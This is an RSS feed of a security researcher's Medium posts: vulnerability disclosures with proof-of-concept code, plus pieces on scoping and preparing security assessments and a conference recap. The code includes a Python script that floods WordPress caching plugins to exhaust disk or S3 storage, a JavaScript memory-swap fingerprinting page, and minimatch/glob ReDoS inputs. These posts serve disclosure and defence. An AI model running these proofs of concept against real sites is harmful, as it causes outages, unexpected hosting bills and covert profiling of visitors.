<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nicholas Starke on Medium]]></title>
        <description><![CDATA[Stories by Nicholas Starke on Medium]]></description>
        <link>https://medium.com/@nstarke_lift?source=rss-19c8770d2655------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Xih3NYxRO4QB_wcvSpnzHQ.jpeg</url>
            <title>Stories by Nicholas Starke on Medium</title>
            <link>https://medium.com/@nstarke_lift?source=rss-19c8770d2655------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 21:44:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@nstarke_lift/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Wordpress Caching Issues: Denial of Wallet]]></title>
            <link>https://medium.com/lift-security/wordpress-caching-issues-denial-of-wallet-73e88d918de8?source=rss-19c8770d2655------2</link>
            <guid isPermaLink="false">https://medium.com/p/73e88d918de8</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[denial-of-service]]></category>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[Nicholas Starke]]></dc:creator>
            <pubDate>Fri, 24 Feb 2017 22:56:02 GMT</pubDate>
            <atom:updated>2017-02-24T22:56:02.734Z</atom:updated>
            <content:encoded><![CDATA[<h3>Denial of Service through Disk Space Exhaustion</h3><h3>Background</h3><p>Two popular WordPress plugins for disk caching are W3 Total Cache and WP Super Cache. These plugins allow pages and posts to be rendered to disk as html files and subsequently served off the filesystem instead of being generated from data driven sources on every web request.</p><p>Take for example a WordPress page route at /2017/01/30/hello-world. Once a user visits this page, the output HTML will be rendered on the file system in the wp-content directory, with a subdirectory structure that matches the route.</p><h3>Disk Space Exhaustion</h3><p>By appending URL reserved characters at the end of the route, we can cause these plugins to cache the same HTML resource an arbitrary number of times. The characters that work particularly well are:</p><ul><li>:</li><li>;</li><li>@</li><li>=</li><li>&amp;</li></ul><p>WordPress URLs can generally be between 200 and 240 characters long, depending on the length of the URL path. In combination with these five characters, that represents a lower bound of 5²⁰⁰ possible cache entries on the filesystem.</p><p>Over the course of one week, a single machine making 5 requests per second could theoretically cause the file system cache to grow to over 30TB in size.</p><h3>Impact</h3><p>Both W3 Total Cache and WP Super Cache are listed by WordPress as having more than one million unique installs.</p><p>Most self-hosted WordPress installations will run out of disk space well before 30TB has been consumed. At that point, features such as the ability to install additional plugins and upload additional media will become impossible. Certainly this is a DoS scenario, but it represents more of an annoyance than anything else for the sophisticated sysadmin.</p><p>Getting a little more serious in impact is the possible effect on Managed Hosting providers. An attacker could theoretically target a multitude of sites using these plugins hosted by a single provider and pummel those sites with superfluous cache entries. This could cause an underlying SAN to exhaust disk space which could cause availability issues for customers on a particular platform.</p><p>Where this vulnerability really has an impact is with the W3 Total Cache AWS integration. This allows the cache to be backed to AWS S3, in which event the disk space is effectively infinite. The limit would be how many cache entries one could cause in a given billing cycle, which is typically one month. A conservative estimate, utilizing one machine, would be 100TB of S3 storage space, which at the normal S3 tier pricing would be between $2,100 and $2,300 USD.</p><p>At these rates, it is practical to talk about Denial of Wallet: causing a website to face an outage because they cannot pay their AWS bill.</p><h3>Mitigations and Remediations</h3><p>Both plugins have the concept of cache purging at regular intervals. It would be wise to enable this feature, as well as to set the interval at something like one hour (3600 seconds).</p><h3>Limitations</h3><p>Ext2 and Ext3 filesystems have a subdirectory limit of 31,999 subdirectories in any given directory. If using a Ext2 or Ext3 filesystem, this subdirectory limit will be reached before any catastrophic Operating System limit is reached.</p><p>Ext4 filesystems have a subdirectory limit of 65,000 subdirectories, unless the dir_nlink filesystem feature flag is set. In the case that dir_nlink is set, the subdirectory count is effectively unlimited. Many Linux installations have this flag set by default during the guided partitioning process.</p><p>To check if a filesystem has the dir_nlink flag set, run the following command as root:</p><pre># debugfs -R features /dev/path/to/filesystem</pre><p>Example output from that command:</p><pre>debugfs 1.42.13 (17-May-2015)<br>Filesystem features: has_journal ext_attr resize_inode dir_index filetype needs_recovery extent flex_bg sparse_super large_file huge_file uninit_bg dir_nlink extra_isize</pre><h3>Proof Of Concept</h3><pre>#!/usr/bin/env python</pre><pre>import urllib2<br>import argparse</pre><pre>from random import choice</pre><pre>parser = argparse.ArgumentParser(description=&#39;PoC for special chars caching vuln.&#39;)<br>parser.add_argument(&#39;--url&#39;, nargs=&#39;?&#39;, help=&#39;Base url to use for caching.  Must not end with a &quot;/&quot;.&#39;)<br>args = parser.parse_args()</pre><pre>counter = 0</pre><pre>while (True):<br>    url = args.url + &quot;&quot;.join(choice([&quot;&amp;&quot;, &quot;=&quot;, &quot;@&quot;, &quot;;&quot;, &quot;:&quot;]) for i in range(200)) + &quot;/&quot;<br>    print url<br>    try:<br>        urllib2.urlopen(url).read()<br>    except:<br>        # When the backing disk is full, the WP install may respond with an error<br>        print &quot;Requests Made: &quot; + str(counter)<br>        exit(0)<br>    counter = counter + 1</pre><h3>Notes</h3><p>The provided Proof of Concept will read the HTTP response, meaning there is a 1:1 relationship between how much data is written to the remote filesystem cache and how much bandwidth the attacker users.</p><p>Some of the plugins will cache on HEAD requests (a feature which can and should be disabled). An attacker may wish to limit the amount of bandwidth consumed, and thus might instead drop the TCP connection on the first byte read of the HTTP response.</p><p>We reached out to Automattic (WP Super Cache) and W3 Edge (W3 Total Cache). Automattic ultimately decided not to fix the issue, citing the “Easy Configuration Mode” as having the garbage collection enabled by default, and stating that if a user didn’t enable that garbage collection they are presented with a warning. W3 Edge did not respond to multiple contact requests.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=73e88d918de8" width="1" height="1" alt=""><hr><p><a href="https://medium.com/lift-security/wordpress-caching-issues-denial-of-wallet-73e88d918de8">Wordpress Caching Issues: Denial of Wallet</a> was originally published in <a href="https://medium.com/lift-security">^Lift Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Scoping for your first security assessment]]></title>
            <link>https://medium.com/lift-security/scoping-for-your-first-security-assessment-57fd9f1a633c?source=rss-19c8770d2655------2</link>
            <guid isPermaLink="false">https://medium.com/p/57fd9f1a633c</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Nicholas Starke]]></dc:creator>
            <pubDate>Thu, 12 Jan 2017 15:02:00 GMT</pubDate>
            <atom:updated>2017-01-12T15:02:00.920Z</atom:updated>
            <content:encoded><![CDATA[<p>This post is part of a series and you might want to read <a href="https://medium.com/lift-security/preparing-for-your-first-security-assessment-43fc92888e11">Preparing for your First Security Assessment</a> first.</p><p>Scope is the term we use to define what effort and where that effort is going to be directed. Determining scope is perhaps the most important component of setting up a successful first security assessment. Defining your scope too broad may mimic that of an attacker but might not be feasible for your budget. Too narrow and a tester may miss problems in vital application components. And perhaps most importantly, you don’t want business operations severely impaired due to testing.</p><p>In this post we’ll walk you through determining scope and effectively communicating that information to your security consultant. For clarity we’ll talk about scoping a collaborative (white box) application assessment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*9nKmfbbI3an_Jozr4OaH1w.png" /></figure><p>The first step is to note all the components of your application. This includes publicly facing services and back-end, private services, as well as the underlying databases which support the entire application. A diagram of how all of these components work together may be beneficial. You’ll want to include metadata about each component, such as what language it is written in. It may also be helpful to document all of the REST endpoints and their parameters, especially for publicly facing services.</p><p>You’ll want to catalog your database schema and take account of what kind of data you are storing; in some cases, certain datasets may be off limits to testers, but mainly you’ll want to figure out the most sensitive data that your application stores and relate that to your testers. This will give your testers a goal as for what kinds of data they should put the most effort into retrieving from the application.</p><p>Sensitive data includes personally identifiable information (PII) such as name with date of birth, social security numbers, credit card numbers, bank account information, geospatial information (especially if its stored with a date time), health data (PHI), or any proprietary information that would negatively impact your business should it become public. That could include trade secrets or other intellectual property. Note that this data doesn’t necessarily need to be stored in a database. Image files, for one, could contain sensitive information. For example, an image of a prescription contains PII and PHI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*p2quFSddcwl2sZZAo45l-Q.png" /></figure><p>You should document where sensitive information enters the application, as well as where it exits (is displayed to the user), plus any locations where it is transferred to a third party service. These will be important to your tester.</p><p>Next you should look at areas of your application that perform destructive actions or have big side effects. This would include endpoints such as those that delete data permanently, overwrite pre-existing data en masse, or send emails to multiple people. You’ll want to note these endpoints so your testers know to be extra careful with them — or avoid them altogether. For example, contact us forms may send an email — a tester could end up sending hundreds of email to someone if they don’t know they should be careful when testing the contact us form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*4oruXeGgcKCLjnpStpkE9g.png" /></figure><p>Altogether, you should be able to hand your testers a document containing the server ip / hostnames for your application, a list of server ip / hostnames not to test (if applicable), a list of critical information your application collects, and perhaps a list of areas of the application not to touch. Additionally, it will be useful for testers to have a list of HTTP/REST endpoints and their parameters, if that information is available.</p><p>If you have an application that you have security concerns about the <a href="https://liftsecurity.io/">^Lift Security team</a> is here to help.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=57fd9f1a633c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/lift-security/scoping-for-your-first-security-assessment-57fd9f1a633c">Scoping for your first security assessment</a> was originally published in <a href="https://medium.com/lift-security">^Lift Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Preparing for your first security assessment]]></title>
            <link>https://medium.com/lift-security/preparing-for-your-first-security-assessment-43fc92888e11?source=rss-19c8770d2655------2</link>
            <guid isPermaLink="false">https://medium.com/p/43fc92888e11</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[assessment]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Nicholas Starke]]></dc:creator>
            <pubDate>Mon, 05 Dec 2016 17:06:34 GMT</pubDate>
            <atom:updated>2016-12-05T17:06:34.379Z</atom:updated>
            <content:encoded><![CDATA[<p>Chances are if you’ve built a software product or service you’ll want to book a firm to perform a security assessment of your application or network.</p><p>Time is limited during a security assessment, and you want to get as much bang for your buck as possible. Doing a few simple things will help maximize the value you receive from the assessment. Preparations are in order, but do not despair — we are here to help!</p><p><strong>Ensure the scope is properly set.</strong></p><p>Check and double-check the scope of the assessment. Make sure everything that should be evaluated is included in the scope, and that anything you do not want touched is clearly denoted as such. Likewise, notify your testers of any critical portions of the application or network that could cause mass side effects or harmful effect on business operations.</p><p>This includes things like functions that will send emails to large groups of people, production databases that are mission critical, and so on and so forth. Additionally, you should document all of your exposed services so you know what services an attacker will be hitting.</p><p><strong>Decide what level of insight the tester will have into your application or network before performing the test</strong>.</p><p>This is colloquially referred to as “blackbox”, “greybox”, and “whitebox”. Here is a breakdown of what that means:</p><p><strong>Black: </strong>The testers have no knowledge of the internals of the application or network before beginning the test.</p><p><strong>Grey: </strong>The testers have some basic knowledge of the internals of the application or network before beginning the test, but do not have full insight into every nook and cranny of the target.</p><p><strong>White:</strong> Also known as collaborative testing. The testers have access to all available network documentation and / or source code going into the assessment.</p><p>There are pros and cons to each approach, and which avenue you choose will depend on the goals of your organization and the maturity of your network or application, as well as the resources available for the test. Grey or white box works well when time is limited and coverage is very important.</p><p><strong>Decide if the test will be conducted against a clone of the production environment, or the production environment itself.</strong></p><p>The trade off is that if testing is conducted against a clone environment there is no chance for the test to affect paying customers or business operations substantially. On the other hand, we’ve found that cloned environments are rarely identical to production environments, so there may be things missed due to misconfiguration issues.</p><p>Also, if you decide to conduct the test against a production environment, make sure you have <strong>solid data backups</strong> before the test begins.</p><p><strong>If you opt to hand over source code or network documentation, make sure there are no secrets included.</strong></p><p>This includes api keys, tokens, ssh keys, database passwords, or switch passwords. For an application assessment, including secrets is like giving the tester the keys to the kingdom and will result in your needing to revoke and reissue all the secrets. For network assessments, you’re giving a huge leg up to the tester by providing things like database passwords or switch passwords — which I assure you the tester will not mind — but it creates an overly unrealistic adversarial scenario.</p><p><strong>Perform an internal assessment of your application or network before the test begins.</strong></p><p>Even if this is only an hour-long exercise, it will catch so-called “low hanging fruit”, which will mean the tester spends less time on easily caught issues and can focus on more advanced techniques that more adequately model a persistent attacker.</p><p>For application assessments, you should also verify simple items such as</p><ul><li>HTTP security headers</li><li>Cookie flags (secure / HTTPOnly)</li><li>Check your dependency graph for out of date components</li><li>Check your network for exposed network services other than your application</li></ul><p>Now that you’re prepared to kick off your first security assessment, why not reach out to the ^Lift Security team and get a quote. We’ll guide you through the process and help you ship more secure software.</p><p>If you liked this post, stay tuned — we’ll have follow up posts that deep dive into each of the aforementioned areas in the future!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=43fc92888e11" width="1" height="1" alt=""><hr><p><a href="https://medium.com/lift-security/preparing-for-your-first-security-assessment-43fc92888e11">Preparing for your first security assessment</a> was originally published in <a href="https://medium.com/lift-security">^Lift Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Detecting Page Swap from JavaScript]]></title>
            <link>https://medium.com/lift-security/detecting-page-swap-from-javascript-71678427f684?source=rss-19c8770d2655------2</link>
            <guid isPermaLink="false">https://medium.com/p/71678427f684</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Nicholas Starke]]></dc:creator>
            <pubDate>Mon, 21 Nov 2016 18:11:54 GMT</pubDate>
            <atom:updated>2016-11-21T18:11:54.342Z</atom:updated>
            <content:encoded><![CDATA[<p>I saw a blog post come across twitter over the weekend (<a href="http://blog.skylined.nl/20161118001.html?utm_content=buffer6bb09&amp;utm_medium=social&amp;utm_source=twitter.com&amp;utm_campaign=buffer">http://blog.skylined.nl/20161118001.html</a>) in which the author mentions the following as an aside:</p><blockquote><em>Side note: did you know you could make a pretty good estimate of the amount of RAM installed on a system by timing large memory allocations? Simply have some Javascript allocated several megabytes of RAM over and over and when it suddenly slows down, that means the OS is swapping memory to disk. You can then see how much you have allocated, make some assumptions about how much RAM was used by other applications and the OS and calculate the amount of RAM installed pretty accurately in my experience…</em></blockquote><p>So I decide to test it out. I was testing on a pair of MacBook Pros, both with 16GB of RAM. The result was positive; I was able to detect via timing analysis when memory reached ‘swap time’ — when memory was paged out to swap on disk. My proof of concept, included later in this post, was tested on Chrome, Firefox, Brave, and Safari. Chrome seems to work flawlessly, while Firefox and Safari work well with a few false positives.</p><p>There were a couple of obstacles to overcome on OSX. First of all, I couldn’t simply write a constant value to memory; OSX has the concept of compressed memory. When a constant value is written in continuous memory, the operating system compresses that data. So the first obstacle was writing random data to memory. Seems simple enough, I can use Math.random() to generate somewhat (not cryptographically strong) random values that will suffice for my purposes.</p><p>Since I am allocating data at the megabyte level, looping over the entire memory space and calling Math.random() at each iteration takes a long time. To keep the feedback cycle as tight as possible, I iterated on the length of the allocated memory space divided by eight, and then generated a random value for each iteration. That random value was then used with various arithmetic operations against the iteration index in order to produce different values for the other eight values between iterations. This makes it difficult for the operating system to compress, since the data is seemingly random for each eight byte iteration-block.</p><p>At this point we have an in memory data structure that is sufficiently random and all we need to do is keep creating additional copies of this data structure until we detect a major timing difference in how long it takes to allocate the memory. Different browsers seem to allocate memory differently; for instance, Chrome seems to allocate memory as soon as the ArrayBuffer is created. Firefox on the other hand doesn’t always allocate memory when the ArrayBuffer is created; it appears to allocate memory when values are written to the ArrayBuffer.</p><p>When measuring the timing, I kept Activity Monitor running so I could watch the RAM allocations. There was consistently a 5–6x slowdown in allocation time around the period of time when memory pressure went up and the Swap size started increasing. Extensive testing showed that six times slower seemed to be the magic number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iTBDe55ATz6fwtJOG1UuDg.png" /></figure><p>During testing, I noticed very few false positives. False positives occurred when the allocation time increased over six times the average allocation time before memory was exhausted. Conversely, before I had the magic number six worked out, I noticed a few false negatives, where the condition which detected the swap failed to execute and the JavaScript kept allocating memory until the operating system prompted me to destroy the process because memory and disk swap were both exhausted. Once I had calibrated the magic number six, I saw very few false positives and no false negatives.</p><p>Using the optimizations above, I was able to reach swap time, detect swap time, and restart the test process (without reloading the HTML document) in under 2 minutes on both machines I tested.</p><p>So in the end, what is this technique useful for? What value does detecting the amount of free RAM have for an attacker? It could be used to monitor when a computer is in use, as when the free RAM amount changes frequently it is safe to assume programs are being loaded, used, and unloaded from memory. Conversely, when the RAM amount doesn’t change by much over a long period of time, it might indicate that the computer is not in use.</p><p>And without further adieu, here is the proof of concept code:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>  &lt;head&gt;<br>    &lt;title&gt;Tetris Memory Allocation&lt;/title&gt;<br>  &lt;/head&gt;<br>  &lt;body&gt;<br>    &lt;script&gt;<br>      var startTime = window.performance.now();<br>      var master = [];<br>      var counter = 0;<br>      var interval = 16;<br>      var bufferLength = 1024 * 1024 * interval;<br>      var total = 0;<br>      function test(){<br>        var timer = setInterval(function(){ <br>          var start = window.performance.now();<br>          var buffer = new ArrayBuffer(bufferLength);<br>          var view = new Int32Array(buffer);<br>          var amount = Math.floor(view.length / 8);<br>          for (var i = 1; i &lt; amount; i++){<br>             var index = i * 8;<br>             view[index] = Math.floor(Math.random() * bufferLength);<br>             view[index - 1] = view[index] + i;<br>             view[index - 2] = view[index] - i;<br>             view[index - 3] = view[index] * i;<br>             view[index - 4] = view[index] &lt;&lt; i;<br>             view[index - 5] = view[index] &gt;&gt; i;<br>             view[index - 6] = view[index] | i;<br>             view[index - 7] = view[index] &amp; i;<br>          }<br>          var end = window.performance.now();<br>          var timeLength = (end - start);<br>          master.push(view);<br>          counter++;<br>          total += timeLength;<br>          var average = total / counter;<br>          if (timeLength &gt; average * 6) { <br>            console.log(&#39;Paged to disk, took &#39; + ((window.performance.now() - startTime) / 1000) + &#39; seconds with &#39; + (counter * interval) + &#39; mb allocated - &#39; + interval + &#39;MB interval&#39;);<br>            clearInterval(timer);<br>            delete master;<br>            master = [];<br>            total = 0;<br>            counter = 0;<br>            startTime = window.performance.now();<br>            // restart<br>            setTimeout(test, 150);<br>          }<br>        }, 150);<br>      }<br>      // kick off testing<br>      test();<br>    &lt;/script&gt;<br>  &lt;/body&gt;<br>&lt;/html&gt;</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=71678427f684" width="1" height="1" alt=""><hr><p><a href="https://medium.com/lift-security/detecting-page-swap-from-javascript-71678427f684">Detecting Page Swap from JavaScript</a> was originally published in <a href="https://medium.com/lift-security">^Lift Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Secure Iowa 2016 Wrap Up]]></title>
            <link>https://medium.com/lift-security/secure-iowa-2016-wrap-up-164d5f127d2b?source=rss-19c8770d2655------2</link>
            <guid isPermaLink="false">https://medium.com/p/164d5f127d2b</guid>
            <category><![CDATA[conference]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Nicholas Starke]]></dc:creator>
            <pubDate>Wed, 05 Oct 2016 16:19:46 GMT</pubDate>
            <atom:updated>2016-11-21T14:40:05.361Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/152/1*npw-a7etW-In-W7datA9Ug.png" /><figcaption>http://secureiowaconference.com</figcaption></figure><p>I recently had the privilege of attending the <a href="http://secureiowaconference.com/">Secure Iowa Conference</a> for 2016 in Ankeny, Iowa. The conference was held at the beautiful Future Farmers of America building on the DMACC Campus and featured three tracks: technical, management, and vendor tracks. There were a few dozen vendors and speakers from a broad swath of backgrounds ranging from the State Representative for my district in Iowa to a network security professor from Iowa State University in Ames. The following are some of the things I learned during the conference.</p><p>The keynote address was provided by Lt. Col. Yazzie from the Iowa National Guard Cyber Operations unit. Lt. Col. Yazzie briefed the audience on the capabilities of the Iowa National Guard Cyber Operations unit, including the various partnerships his unit has with academia and private industry, as well as with foreign allies. Their mission is strictly defensive in nature, and they are always looking for passionate people to join them in defending Iowa and the nation’s networks.</p><p>The next presentation I caught was David Lindner’s mobile app sec talk on the Apple TouchID APIs. David taught us that there are two primary APIs that can be used when working with the TouchID sensor: LAContext and User Presence. <strong>David recommended that LAContext be avoided in favor of User Presence, since LAContext can easily be bypassed on a jailbroken device.</strong> User Presence is more of a software annotation by which resources can be denoted as requiring TouchID authentication, which then communicates with the secure enclave through a channel brokered by the operating system. One last piece of advice that David had for mobile app developers was to build pure Swift-based applications as the attack tooling is not as sophisticated as it is for ObjectiveC-based applications.</p><p>Following David’s presentation, I attended a group presentation by the gentlemen at Webfilings. Their presentation focused on automating security testing for application development by using continuous integration / continuous deployment practices. They advocated using a CI/CD server, such as Jenkins, to run security tools such as Burp Suite and Zed Attack Proxy, amongst others, to perform application and application infrastructure level validation of a software payload as it moves from development to production.</p><p>It definitely seems like this is a emerging trend in application security, as there were actually several talks on the subject by different people from different companies. Nathan Gibson also gave a presentation on automating security tooling earlier in the day, but I was unfortunately not able to attend that presentation.</p><p>Next was Doug Jacobson’s presentation on applied cryptography. Doug is a professor of information security at Iowa State and leads the ISEAGE project as well as the Iowa State Cyber Defense Competitions. Doug’s presentation focused on the uses of cryptography. The one point that Doug really drove home well was that given an unlimited amount of time or resources, any crypto system can be broken. He reiterated that <strong>the primary purpose of cryptography is to keep information secret until that information is no longer valuable</strong>.</p><p>Talks I wish I could have attended include Alex Hart and Rich Skinner’s presentation on Third Party Risk management, Nathan Gibson’s talk on automating security testing, and Ben Schmidtt’s presentation on using math to move beyond rule-based decisions.</p><p>Overall I thoroughly enjoyed the conference. The speakers in both the technical and management tracks where fascinating and it was at times very difficult to decide which presentations to attend at a given time slot. I would encourage the Des Moines ISSA Chapter to continue to include a multi-track schedule at next year’s Secure Iowa Conference as this format worked particularly well this year. If you didn’t attend the conference this year, you really missed out, and I hope to see you there next year!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=164d5f127d2b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/lift-security/secure-iowa-2016-wrap-up-164d5f127d2b">Secure Iowa 2016 Wrap Up</a> was originally published in <a href="https://medium.com/lift-security">^Lift Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Minimatch ReDoS Vulnerability]]></title>
            <link>https://medium.com/node-security/minimatch-redos-vulnerability-590da24e6d3c?source=rss-19c8770d2655------2</link>
            <guid isPermaLink="false">https://medium.com/p/590da24e6d3c</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[dores]]></category>
            <dc:creator><![CDATA[Nicholas Starke]]></dc:creator>
            <pubDate>Mon, 20 Jun 2016 15:56:07 GMT</pubDate>
            <atom:updated>2016-06-20T15:56:07.091Z</atom:updated>
            <content:encoded><![CDATA[<h4>The module</h4><p>Minimatch (<a href="https://github.com/isaacs/minimatch">https://github.com/isaacs/minimatch</a>) is a minimal matching utility that works by converting glob expressions into JavaScript RegExp objects.</p><p>As of May 2016, it is receiving roughly 30 million downloads a month, making it the third most popular npm module by download count. It is also used as a dependency in the npm module Glob (<a href="https://github.com/isaacs/node-glob">https://github.com/isaacs/node-glob</a>), which is the first most popular npm module by download count. Minimatch is currently at version 3.0.0 from a March 2015 release.</p><h4>The vulnerability</h4><p>Regular Expression Denial of Service (ReDoS) occurs when a given regular expression reaches an extreme state which causes the comparison to the malicious input to take an exceedingly long period of time. This type of vulnerability is particularly problematic in Node.js/JavaScript because it causes the event loop to block until the comparison is completed. While the event loop is blocked, the Node.js application will not perform any other processing. Minimatch 3.0.0 is vulnerable to Regular Express Denial of service due to a problematic regular expression on line 521 of minimatch.js:</p><pre>tail = tail.replace(/((?:\\{2})*)(\\?)\|/g, function (_, $1, $2) {</pre><h4>The exploit</h4><p>The regular expression in question checks for \ which turns out to be the crux of the exploit. By providing a string with a long series of \, it is possible to cause the regular expression engine to branch excessively, which increases the overall time to complete for the comparison. When a string of 1,000,000 \ ‘s is used, it is possible for the event loop to block for over five minutes per comparison. The number 1,000,000 was chosen because it represents the upper bound for the maximum request size that a hapi web application will accept by default. When a string of 100,000 \’s is used — which is the Express default request size limit — the event loop blocks for for a full seven seconds in test scenarios.</p><h4>The Proof of Concept (PoC)</h4><p>The vulnerable parameter is the second parameter for the Minimatch module. This is the pattern parameter.</p><p>The full proof of concept is as follows:</p><pre>var minimatch = require(“minimatch”);</pre><pre>// utility function for generating long strings</pre><pre>var genstr = function (len, chr) {<br>  var result = “”;<br>  for (i=0; i&lt;=len; i++) {<br>    result = result + chr;<br>  }<br>  return result;<br>}</pre><pre>var exploit = “[!” + genstr(1000000, “\\”) + “A”;</pre><pre>// minimatch exploit.<br>console.log(“starting minimatch”);<br>minimatch(“foo”, exploit);<br>console.log(“finishing minimatch”);</pre><h4>The collateral damage</h4><p>As noted above, Minimatch is a dependency for Glob, and it turns out that Glob is vulnerable to the same ReDoS attack via the first parameter of the Glob module.</p><p>A PoC for Glob would look like this:</p><pre>var glob = require(“glob”);</pre><pre>// utility function for generating long strings<br>var genstr = function (len, chr) {<br>  var result = “”;<br>  for (i=0; i&lt;=len; i++) {<br>    result = result + chr;<br>  }<br>  return result;<br>}</pre><pre>var exploit = “[!(“ + genstr(1000000, “\\”) + “A”;</pre><pre>// glob exploit.<br>console.log(“starting glob”);<br>glob(exploit, function(err, matches){<br>  console.log(“finishing glob”);<br>});</pre><p>Any application that passes user input to either the Glob module or the pattern parameter of the Minimatch module is vulnerable to this particular ReDos attack. Users are recommended to upgrade to version 3.0.2.</p><h4>The fix</h4><p>The problematic portion of the regular expression in question turned out to be <strong>((?:\\{2})*) </strong>. After discussion with the module’s author, it was decided that a length restriction would be placed on the regular expression in question, resulting in <strong>((?:\\{2}){0,64})</strong> as the final solution. The lesson to be learned is it may be necessary to limit the length of input to regular expressions which prove vulnerable to regular expression denial of service.</p><p>For more information, see the advisory at <a href="https://nodesecurity.io/advisories/118">https://nodesecurity.io/advisories/118</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=590da24e6d3c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/node-security/minimatch-redos-vulnerability-590da24e6d3c">Minimatch ReDoS Vulnerability</a> was originally published in <a href="https://medium.com/node-security">Node Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>